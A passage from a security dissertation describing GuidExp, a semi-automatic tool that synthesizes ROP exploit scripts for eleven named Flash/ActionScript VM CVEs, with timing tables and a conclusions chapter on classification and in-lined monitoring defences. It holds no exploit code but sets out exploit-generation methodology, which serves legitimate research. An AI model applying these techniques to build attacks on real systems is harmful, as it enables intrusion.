operand stack: (1) stack underflow, which occurs when an instruction tries to pop

elements from the operand stack while the operand stack holds no element, (2) stack
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overflow, which occurs when a function returns before popping all elements it pushed

onto the operand stack.

In our second optimization technique, operand stack verification, GuidExp simulates

the operand stack for the candidate slice it generates to decide whether the candidate

slice causes an operand stack violation before sending the candidate slice to the Invariant

Validator. If a candidate slice causes the stack underflow error, GuidExp marks the

instruction permutation that the candidate slice contains as ill-prefix and discards

the candidate slice. GuidExp also eliminates the subsequently generated candidate

slices which contain an ill-prefix instruction permutation because they will raise

the same error regardless of instructions they add to an ill-prefix permutation. If a

candidate slice causes the stack overflow error, GuidExp eliminates the candidate slice

but does not mark the instruction permutation it contains as ill-prefix, because

candidate slices that cause a stack overflow error might be followed by instruction

sequences that consume remnant elements in the operand stack. As shown in the

fifteenth row of Table 5.1, GuidExp can disqualify 98.78% of the generated candidate

slices by using the operand stack verification technique for our running example.

5.3.3 Instruction Tiling

Instructions in the ActionScript bytecode language typically need to be used in

particular sequences, together, to represent semantically meaningful activities. For

example, the opcode "setproperty", which pops an object and a value from the top

of the operand stack and then assigns the value to the object, requires that these

two data be pushed onto the operand stack previously. The ActionScript bytecode

language utilizes the opcode "findpropstrict" to push an object in the given index

to the operand stack. Thus, these two opcodes are commonly used together to perform

a certain activity.

Our third optimization technique, instruction tiling, uses such relationships between

instructions, to create instruction chains that can perform meaningful activities such
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as calling a variable, coercing a type of variable, or calling a property of an object.

We refer to such an instruction chain as a tile. GuidExp can generate candidate slices

adding or replacing a tile instead of an instruction. Thus, the number of candidate

slices that GuidExp needs to synthesize decreases dramatically as the number of

permutations of tiles is significantly smaller than the number of permutations of

instructions.

One of the challenges with tiling is that GuidExp must ensure the coherence

between the tiling and the operand stack verification techniques. In operand stack

verification, GuidExp simulates the instruction-based operand stack employed by the

AVM to avoid generating candidate slices that perform illegal operand stack operations.

However, as tiling creates instruction chains, GuidExp might lose track of the operand

stack operations performed by each instruction in a tile. Therefore, GuidExp needs

to simulate the operand stack that performs the operand stack operations for every

tile.

In order to address this challenge, GuidExp attaches an operand stack operation

sequence for each tile it creates. An operation sequence consists of the operand stack

operations performed by the corresponding tile. GuidExp runs the sequence for every

tile in candidate slices because the execution of a tile might not change the number

of elements in the operand stack, but it might first pop an element and then push a

new element onto the operand stack. In this case, there must be at least one element

on the operand stack before executing the tile. GuidExp ensures that execution of

candidate slices does not violate the operand stack structure by running operand stack

operation sequences attached to the tiles.

In addition to tiles that the security expert provides, GuidExp adds predefined tiles

capable of building well-known structures such as for-loop and if-else blocks into

every search space. Moreover, GuidExp populates candidate slices with global and

local variables and provides tiles to call them to reduce the number of candidate slices
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generated during the exploit generation process.

5.3.3.1 Well-known Structures as Tiles

GuidExp expects candidate slices to utilize well-known structures such as for-loops

and if-else blocks. GuidExp provides a tile for each structure to facilitate syn-

thesizing candidate slices that contain these structures. However, having a structure

might cause some errors such as iterating over an endless loop or a divide-by-zero

exception. Thus, GuidExp applies some restrictions to prevent such errors being

raised. For example, to use the for-loop tile, GuidExp should follow these rules: (1)

a for-loop can be iterated at most ten times so that GuidExp avoids having infinite

loops, (2) the iterator must be initialized as ’1’, (3) the iterator can be increased

only by ’1’ after each iteration, and (4) the iterator cannot be used with basic math

operators (+, -, *, /). With adopting the rules#2-4, GuidExp avoids run-time errors

such as ’divided by zero’ or ’integer overflow’.

5.3.3.2 Global and Local Variable Declaration as Tiles

We expect that the exploit script that GuidExp generates will declare local and

global variables. Declaring a local variable requires not only synthesizing the correct

instruction sequence but also adjusting of the metadata of candidate slices. First,

the variable name must be added into the constant pool, which is a structure in

the metadata, where constants are referenced from other parts of the candidate slice

structure [3]. Second, a multiname_entry for the variable must be created as names

in the AVM are represented by a combination of the name itself and one or more

namespaces, which are used to define the scope of the variables [3]. Finally, the

local_count field that indicates the number of local registers [3] the corresponding

method uses must be increased by ’1’, since having a local variable requires using an

additional local register. Implementing these adjustments for every candidate slice

that GuidExp generates is a challenge and adversely affects the performance of it.
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To overcome the variable declaration challenge for every candidate slice, GuidExp

populates candidate slices with global and local variables. GuidExp inserts five local

variables in every function definition and five global variables from each primitive type

(integer, bool, etc.) and additionally two ByteArray and Vector instances, since

they are frequently used data types in ROP attacks. With having additional global

and local variables, GuidExp does not need to (1) synthesize codes that create these

variables, and (2) modify the metadata of candidate slices. In addition, GuidExp

provides tiles which call global and local variables so that GuidExp does not need

to synthesize instruction chains to call these variables. For our running example, the

efficiency of tiling is given in the eleventh and the twelfth rows of Table 5.1.

5.3.4 Feedback from the AVM

The Code Generator sends candidate slices that do not violate the operand stack to

the Invariant Validator to be executed in the AVM in Phase 2 in Figure 5.3. However,

the AVM can raise different types of run-time errors during the execution of candidate

slices that GuidExp cannot detect before their execution. The AVM raises these

errors when candidate slices perform an illegal operation, such as reading outside

array boundaries, or if the AVM cannot keep running because of resource restrictions.

For example, if a candidate slice contains an infinite loop, the AVM will raise the

out-of-memory error. The Code Generator marks the instruction permutation that

the error-raising candidate slice contains as ill-prefix, and discards the candidate

slice. The Code Generator also stores ill-prefix permutations in a search tree so

that it can quickly decide whether future candidate slices contain an ill-prefix.

Therefore, the Code Generator discards subsequently generated candidate slices if

they contain an ill-prefix permutation, since instruction sequences are prefix-

closed, and will raise the same error. The most common types of error messages that

GuidExp receives are: TypeError, ArgumentError, ReferenceError, RangeError,

stack underflow, and stack overflow errors [3]. As shown in the seventeenth row of the
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Table 5.1, in experiments with our running example, by using the feedback from the

AVM, GuidExp discards 58.07% of the candidate slices that pass the operand stack

verification.

5.3.4.1 TypeError

A TypeError is thrown when the actual type of an operand is different from the

expected type. In addition, this exception is raised when a value is assigned to a

variable and cannot be coerced to the variable’s type or the super keyword is used

illegally. Candidate slices that raise a TypeError are eliminated after they are executed

in the AVM. However, the other candidate slices that append these candidate slices

are disqualified even without being generated by GuidExp . Although the type of

operands can be coerced explicitly, GuidExp allows type coercion only before the

operand is called.

5.3.4.2 ArgumentError

An ArgumentError occurs when the arguments supplied in a function do not match

the arguments defined for that function. This error is raised, for example, when a

function is called with the wrong number of arguments, an argument of the incorrect

type, or an invalid argument. When an ArgumentError is raised, GuidExp verifies

the candidate slice that raises the error because the error might occur because of

the wrong number of arguments. GuidExp changes the bytecode that declares the

number of arguments with the number of elements in the operand stack when the

function is called. After the candidate slice is verified, it is executed one more time to

see if the error persists. If yes, the candidate slice and the other candidate slices that

append the candidate slice are disqualified as the error occurs because of the incorrect

type or invalid arguments.
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5.3.4.3 ReferenceError

A ReferenceError exception is thrown when a reference to an undefined property is

attempted. Candidate slices that GuidExp generates raise this error when a property

is called by an object that does not defined the property it calls. The other candidate

slices that follow the candidate slice that raises a ReferenceError must remove the

reference of the undefined property. However, GuidExp does not allow such an

operation because pushing an element onto the operand stack and then popping it

without making use of it can create infinite loops.

5.3.4.4 RangeError

A RangeError occurs when an invalid index is provided to an array type buffer.

An index is invalid if it is less than zero, or it points beyond the array boundaries, or

it is not an integer. When a candidate slice causes the AVM to raise a RangeError,

after discarding the candidate slice, GuidExp disqualifies the other candidate slices

that append the candidate slice based on the type of the index. If the index is an

integer, GuidExp does not allow any basic math operations.

5.3.4.5 Stack Underflow and Overflow Errors

Stack underflow and overflow errors are categorized under VerifyError by the

AVM. A VerifyError represents an error that occurs when a malformed or corrupted

executable is encountered. Although, GuidExp ensures that it generates grammatically

correct executables with the tiling, more than 90% of the error messages that candidate

slices raise are VerifyError messages. The reason that candidate slices cause so

many VerifyError messages is that the AVM expects to run complete actions such

as assigning a value to an object. However, the tiling provides pieces of actions. For

example, the complete action that we state above consists of three pieces: (1) calling

the object, (2) pushing the value onto the operand stack, and (3) assigning the value

to the object. Therefore, GuidExp cannot disqualify candidate slices that raise a
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Table 5.2: Exploit generation for CVE-2015-5119 with open-source core implementation
of the AVM (top half) and closed-source Flash Debugger (bottom half)

Number of Number of Percentage of
Generated Executed Executed Synthesizing

Exploit Subgoal Candidate Slices Candidate Slices Candidate Slices Time (s)

Corrupting a Buffer
Space Implicitly 2,396,744 12,229 0.51 9.35
Spraying Helper Elements 19,173,952 73,997 0.38 55.90
Locating Sprayed Elements 37,448 357 0.95 1.72
Disclosing the Offset of
the Located Elements 55,345,757 282,392 0.51 138.26
Corrupting the Disclosed Buffer 4,793,488 21,591 0.45 17.03
Locating ELF Object Files 19,173,952 81,545 0.42 57.12
Locating libc Libraries 55,345,757 278,385 0.50 138.05
Locating Executable Segment 76,695,808 379,587 0.49 199.78
Locating Gadgets and Building
the ROP Chain 435,848,049 1,648,451 0.37 240.92

Total Synthesizing Time: 858.13 (14m 18.13s)

Corrupting a Buffer
Space Implicitly 2,396,744 29,167 1.21 605.58
Spraying Helper Elements 19,173,952 210,225 1.09 3,895.64
Locating Sprayed Elements 37,448 769 2.05 12.76
Disclosing the Offset of
the Located Elements 55,345,757 508,339 0.91 6,845.86
Corrupting the Disclosed Buffer 4,793,488 41,342 0.86 963.86
Locating ELF Object Files 19,173,952 201,852 1.05 3,364.89
Locating libc Libraries 55,345,757 459,336 0.82 6,276.25
Locating Executable Segment 76,695,808 706,031 0.92 9,546.07
Locating Gadgets and Building
the ROP Chain 435,848,049 2,954,400 0.67 11,512.47

Total Synthesizing Time: 43,023.38 (11h 57m 03.38s)

VerifyError because the error occurs due to missing pieces of complete actions.

5.4 Experimental Results

All experiments were conducted on a virtual machine with a 3.4 GHz Intel Core i7

processor with 8 GB RAM. We used VMware Workstation 15 to emulate the virtual

machine with Ubuntu 16.04 LTS. PoC scripts were created using Adobe Flex SDK

4.6 [13], mxmlc, and Mozilla Tamarin Project ActionScript Compiler, asc.jar [152].

GuidExp was written in Java with NetBeans IDE 8.0.2 JDK v. 1.8.0._201-b09.

We synthesized exploit scripts for eleven different AVM vulnerabilities, including

our running example vulnerability, CVE-2015-5119. We selected these vulnerabilities

because these vulnerabilities were frequently used in famous exploit kits such as

Nuclear [47], Neutrino [104], Angler [104], Gong Da [188], and Cool [188]. In addition,
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these vulnerabilities are well-publicized so that we can create the corresponding exploit

subgoals for these vulnerabilities accurately.

We conducted two set of experiments. In the first set, GuidExp utilized an open-

source core implementation of the AVM, called avmplus [7] (commit 65a0592) provided

by Adobe, to execute candidate slices GuidExp generated for our running example

vulnerability. To our knowledge, the open-source core version contains only one

vulnerability which is our running example vulnerability. Assuming that the security

experts would have the source of their application, we highlight the performance

of GuidExp with the open-source version. In addition, we conducted the second

set of experiments with the closed-source Flash Player Debugger v11.2.202.262 [12]

because this particular debugger version contains all eleven vulnerabilities we selected.

Although the core version contains only one vulnerability, it performs significantly

better than the closed-source version since the execution of each candidate slice in the

closed-source version requires starting-up and terminating the debugger.

The top half of Table 5.2 demonstrates our experimental results with the open-source

core implementation of the AVM for our running example vulnerability. We give the

number of generated candidate slices and executed candidate slices during synthesizing

each exploit subgoal. GuidExp outputs the exploit script within slightly below 15

minutes.

The bottom half of Table 5.2 shows our experimental results with the closed-source

Flash Player debugger, v11.2.202.262, for our running example vulnerability. The

exploit generation process takes around 45 times more time compared to our first

set of experiments. In addition, since the error messages that the debugger outputs

are shown to the users in pop-ups, we cannot leverage the feedback coming from the

debugger. Thus, the number of executed candidate slices are higher in the bottom

half of Table 5.2 compared to the top half of Table 5.2.

Table 5.3 shows our experimental results with eleven other AVM vulnerabilities we
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Table 5.3: Exploit generation for selected vulnerabilities

Selected Vulnerabilities Synthesizing Time Flash Player Version

CVE-2015-5119 11h 57m 03.38s v11.2.202.262
CVE-2013-0634 12h 09m 14.50s v11.2.202.262
CVE-2014-0502 12h 54m 15.19s v11.2.202.262
CVE-2014-0515 12h 51m 26.67s v11.2.202.262
CVE-2014-0556 12h 08m 35.29s v11.2.202.262
CVE-2015-0311 11h 56m 19.10s v11.2.202.262
CVE-2015-0313 12h 20m 47.98s v11.2.202.442
CVE-2015-0359 11h 05m 05.61s v11.2.202.262
CVE-2015-3090 12h 01m 33.16s v11.2.202.262
CVE-2015-3105 13h 25m 46.80s v11.2.202.262
CVE-2015-5122 12h 07m 02.59s v11.2.202.262

selected. In these experiments, GuidExp executes candidate slices with the closed-

source debugger. According to our experiments, GuidExp can generate an exploit

script for a vulnerability in less than 14 hours.

5.5 Discussions and Limitations

One of the biggest challenges we faced in this work that the PoCs that we found

online were not compatible with the open-source AVM implementation [7]. In addition,

some PoCs that we found were written for different versions of the AVM, which adopt

different memory layouts for the run-time instances. Therefore, we crafted our PoCs

by tailoring these PoCs. We recalculated offsets of the attributes used for triggering

vulnerabilities, removed external libraries used in the PoCs or if their source are publicly

available, we statically compiled these libraries with the core implementation to include

them, since the open-source version of AVM provides only the core functionalities of

the ActionScript language.

Since we provide the exploit subgoals to GuidExp to conduct our experiments, we

need to obtain a deep understanding of how a ROP attack exploits given vulnerabilities

and bypasses modern operating system security mechanisms such as ASLR or DEP.

However, the PoCs we craft and the exploit code GuidExp synthesizes perform their

malicious activities implicitly. For example, the exploit script corrupts the length of

the Vector instance without calling the .length property, but with exploiting the
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unusual situation of the AVM that occurs after triggering the vulnerability. Therefore,

we could not use any ActionScript debugger to observe run-time behaviors of the

exploit code to understand how the exploit script tricks the AVM to perform its

malicious intention surreptitiously. Hence, we utilized GNU debugger [78] to debug the

AVM and observe run-time behaviors of the exploit code by scrutinizing the memory

cells to see how the exploit code modifies memory cells executing one instruction at a

time.

As a limitation, GuidExp’s performance strictly depends on the accuracy of the

exploit subgoals. Having redundant instructions in an exploit subgoal significantly

increases the time that GuidExp needs to generate the exploit script, since the number

of permutations of instructions increases exponentially as the number of instructions

increases linearly.

5.6 Conclusion

We have presented the first guided (semi-automatic) AEG tool, GuidExp, that

produces ROP exploit scripts that exploit given vulnerabilities residing in the AVM

by exploring all possible execution paths that triggering these vulnerabilities can lead

to. Unlike the other AEG implementations, GuidExp does not employ a fuzz tester

or a symbolic execution tool because they are not efficiently helpful since (1) fuzz

testers cannot efficiently generate grammatically correct executables for the AVM

due to the improbability of generating random highly-structured executables that

follow the complex grammar rules that the AVM enforces, and (2) symbolic execution

tools encounter the well-known program-state-explosion problem due to the enormous

number of control paths in early processing stages of binaries executed by the AVM.

GuidExp adopts several optimization techniques to facilitate the AEG process:

(1) exploit deconstruction, which breaks the exploit script that GuidExp needs to

synthesize into several smaller subgoals, (2) operand stack verification, (3) instruction

tiling, and (4) feedback from the AVM. GuidExp receives hints from security experts
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and it uses them to determine places where the exploit script is split so that GuidExp

can concentrate on synthesizing these subgoals in sequence instead of the entire exploit

code at once. We report that these techniques reduce the complexity of the process

by a factor of 1045, 81.9, 1013.5, and 2.38 respectively, for our running example. In

addition to our running example, we report on GuidExp-produced exploit scripts for

ten other well-publicized AVM vulnerabilities.



CHAPTER 6: CONCLUSIONS

In this dissertation, we propose a robust, holistic security solution for the AVM

versions that focuses on mitigating design flaws in the implementation of the AVM.

Our solution consists of three main thrusts: (1) vulnerability classification, (2) in-lined

reference monitoring, and (3) automatic exploit generation. These three thrusts

together work in harmony; in vulnerability classification, we analyze and classify

ActionScript vulnerabilities to identify the attack surface of the AVM. Knowing the

attack surface, we build a vulnerability-class-specific security policy enforcement

mechanism leveraging in-lined reference monitoring to secure the Flash scripts without

modifying the AVM versions. Finally, we synthesize exploit scripts that exploit AVM

vulnerabilities by using automatic exploit generation techniques. We target executing

exploit scripts we generate to observe their run-time behaviors and the way they exploit

AVM vulnerabilities. Our observations enable us to disclose underlying weaknesses

in the implementation of the AVM. Therefore, we can harden our security policy

enforcement engine. In this chapter, we summarize our contributions and underline

the important findings and experimental results for each research thrusts. Additionally,

we discuss future work as new directions or extensions based on our research in this

dissertation.

6.1 A Fine-grained Classification and Security Analysis of Web-based Virtual

Machine Vulnerabilities

In Chapter 3, we present three major contributions towards the classification of

AVM vulnerabilities. First, we introduce the AVM vulnerability categories mentioned

in the CVE and NVD databases. We discuss an example vulnerability for every
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sub-class of the CVE "Memory Corruption" category and an exploit script that

exploits the example vulnerability for every sub-class we prioritize. We demonstrate

the way exploit scripts attack these vulnerability classes to highlight vulnerability-

class-specific idiosyncrasies. Our analyses show that there are commonalities in

each vulnerability class that creates vulnerabilities in the AVM. Discovering these

commonalities allows us to build our vulnerability-class-specific security solutions that

mitigate these idiosyncrasies that lead to vulnerabilities.

Second, we analyze and present a more fine-grained web-based VM vulnerability

classification, creating meaningful sub-classes of the "Memory Corruption" CVE

category to identify the attack surface of web-based VMs more accurately than what

the CVE and NVD databases provide. Third, we reclassify CVE AVM vulnerabilities

labeled as generic "Memory Corruption" and "Unspecified" into one of our more

fine-grained sub-classes (a memory corruption vulnerability can be (1) a use-after-

free, (2) a double-free, (3) an integer overflow, (4) a buffer overflow, or (5) a heap

overflow vulnerability). We reclassify 60 such “Memory-Corruption” and 84 such

"Unspecified" vulnerabilities by analyzing the execution of PoC exploits provided by

exploit databases and vulnerability mitigation projects’ collections.

Future Work : First, further research should be undertaken to classify "Unspecified"

and "Memory Corruption" vulnerabilities that we cannot classify into one of the CVE

vulnerability categories or sub-classes of "Memory Corruption" vulnerabilities. Second,

we manually classify AVM vulnerabilities, which is an arduous task considering the

number of AVM vulnerabilities and inconsistencies in the CVE and NVD databases.

However, with autonomous approaches that leverage natural language processing (NLP)

techniques to analyze vulnerability descriptions and observe run-time behaviors of the

PoC exploits for the AVM vulnerabilities, we can classify the AVM vulnerabilities

easier and more accurately. However, this might be challenging due to the necessity

of expertise in NLP techniques and building an automatic exploit analyzing tool.
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6.2 Inscription: An In-lined Reference Monitoring Engine for ActionScript/Flash

Vulnerabilities

In Chapter 4, we present three main contributions towards mitigating the AVM

vulnerabilities. First, we present the design and implementation of our security solution,

Inscription, that leverages in-lined reference monitoring to enforce security policies

into untrusted Flash executables. We use our vulnerability classification introduced in

Chapter 3 when building Inscription. Inscription is the first fully automated Flash

code binary transformation system that can guard major Flash vulnerability classes

without modifying vulnerable AVMs.

Second, we demonstrate that many AVM vulnerabilities can be addressed via two

complementary binary transformation approaches: (a) direct monitor in-lining as

bytecode instructions, and (b) binary class-wrapping. Additionally, we show that

Inscription is capable of implementing these approaches to sub-classes of AVM "Memory

Corruption" vulnerabilities by discussing detailed case-studies and mitigating these five

sub-classes of AVM "Memory Corruption" vulnerabilities of Flash exploits currently

being observed in the wild.

Third, we present a novel memory management layer that prevents all ActionScript

use-after-free and double-free vulnerabilities that are part of our five sub-classes of

AVM "Memory Corruption" vulnerabilities. We demonstrate that Inscription is able

to defend against zero-day attack campaign targeting South Korean citizens before

the zero-day vulnerability is discovered and patched.

Future Work: Future work includes the following. First, since Inscription modifies

the untrusted Flash scripts to stop the execution of security policy-violating code

segments in these Flash scripts, we need to certify transparency and soundness [206,

208] of Inscription with a certification system. The certification system outputs a

certificate that researchers can analyze and decide completeness of the implementation

of such systems. Second, we also plan to extend the developed technology and security
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mechanisms to other similar ECMAScript languages and platforms, and to extend

Inscription to handle malicious events generated in externally loaded files inside a

SWF as well.

6.3 GuidExp: Automatic Exploit Generation for ActionScript/Flash

Vulnerabilities

In Chapter 5, we present three main contributions towards the automatic exploit

generation for the ActionScript and Flash vulnerabilities. We present the design and

implementation of the first guided (semi-automatic) exploit generation tool, GuidExp,

targeting vulnerabilities residing in the implementation of language VMs, specifically

the AVM. GuidExp differs from typical AEG implementations in that GuidExp does

not rely on a typical fuzz tester or symbolic execution tool for synthesizing the exploit

script for given ActionScript vulnerabilities.

Second, we propose four optimization techniques to enable GuidExp to synthesize

the exploit script without leveraging a fuzz tester or symbolic execution tool. Exploit

deconstruction, which is our main optimization technique, is a strategy of splitting

exploit scripts that AEG implementations produce into smaller code blocks. Therefore,

GuidExp concentrates on synthesizing these smaller code blocks in sequence rather

than the entire exploit at once. In our running example, we show that exploit

deconstruction can reduce the complexity of the AEG process by a factor of 1045.

The other optimization techniques are (1) operand stack verification, (2) instruction

tiling, and (3) feedback from the AVM, to facilitate the exploit generation process.

In our running example, we report that our optimization techniques can reduce the

complexity of AEG process by a factor of 81.9, 1013.5, and 2.38 respectively.

Third, we outline a detailed running example where GuidExp synthesizes the

exploit script, which performs an ROP attack, for a real-world AVM use-after-free

vulnerability. Also, we report on the production of exploit scripts for ten other

real-world AVM vulnerabilities to highlight the scalability of GuidExp.
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While our dissertation uses Adobe ActionScript/Flash as a case study to demon-

strate our techniques, our approaches extend well beyond ActionScript/Flash and

applicable to other programming languages that are deterministic and take inputs

in the form of a sequence of instructions. For example, every sub-class of "Memory

Corruption" vulnerabilities corrupts the memory in a specific way. Therefore, by using

our vulnerability reclassification technique (introduced in Section 3.5.1) in which we

monitor runtime behavior of exploit scripts to decide the type of the vulnerability they

exploit, the sub-class of "Memory Corruption" vulnerabilities of other programming

languages can be determined. Additionally, our wrapper class approach (introduced

in Section 4.2) is applicable to JavaScript since JavaScript supports the anonymous

function definition that provides tamper-proofing so that anonymous function defi-

nitions can replace wrapper class implementation. Moreover, our AEG approach is

also extensible to other programming languages since; first, our exploit deconstruction

technique (that allows defining exploit subgoals) is language-independent, and second,

every instruction in deterministic programming languages has a specific meaning that

allows security expert to create search spaces for defined exploit subgoals.
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